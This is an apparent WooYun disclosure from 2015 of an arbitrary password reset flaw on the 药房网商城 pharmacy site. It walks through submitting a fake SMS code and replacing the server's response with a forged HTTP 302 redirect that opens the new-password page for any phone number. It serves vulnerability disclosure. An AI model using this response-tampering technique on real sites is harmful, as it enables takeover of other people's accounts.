当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：
wooyun-2015-0131981
漏洞标题：
药房网商城任意用户密码重置
相关厂商：
药房网商城
漏洞作者：
恋锋
提交时间：
2015-08-06 10:17
修复时间：
2015-08-11 10:18
公开时间：
2015-08-11 10:18
漏洞类型：
设计缺陷/逻辑错误
危害等级：
高
自评Rank：
20
漏洞状态：
漏洞已经通知厂商但是厂商忽略漏洞
漏洞来源：
http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签：
无
分享漏洞：
4人收藏 收藏
分享漏洞：
>

漏洞详情

披露状态：

2015-08-06： 细节已通知厂商并且等待厂商处理中
2015-08-11： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

药房网商城——商务部2015—2016年度电子商务示范企业
存在任意用户密码重置漏洞，深夜挖洞不易，只求高rank！！！

详细说明：

1、药房网商城——商务部2015—2016年度电子商务示范企业，存在重置密码高危漏洞

001.png


2、使用手机号进行重置密码操作

1.png


3、提交任意短信码（1234）

2.png


3、返回响应包内容如下：

3.png


4、使用如下内容修改步骤3的响应包

HTTP/1.1 302 Found
Date: Wed, 05 Aug 2015 14:17:32 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 160
Connection: keep-alive
Cache-Control: private
Location: /Reset_mobile.aspx?mobile=13828840869
X-Cache: pass
<html><head><title>Object moved</title></head><body>
<h2>Object moved to <a href="%2fReset_mobile.aspx%3fmobile%3d13828840869">here</a>.</h2>
</body></html>


4.png


5、成功进入新密码设置页面，完成重置密码

5.png


6.png

漏洞证明：

参见详细说明

修复方案：

完善验证逻辑，多步操作需验证前一步是否成功完成

版权声明：转载请注明来源 恋锋@乌云

>

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-08-11 10:18

厂商回复：

漏洞Rank：4 (WooYun评价)

最新状态：

2015-08-27：感谢您提交的漏洞，我们已经修复！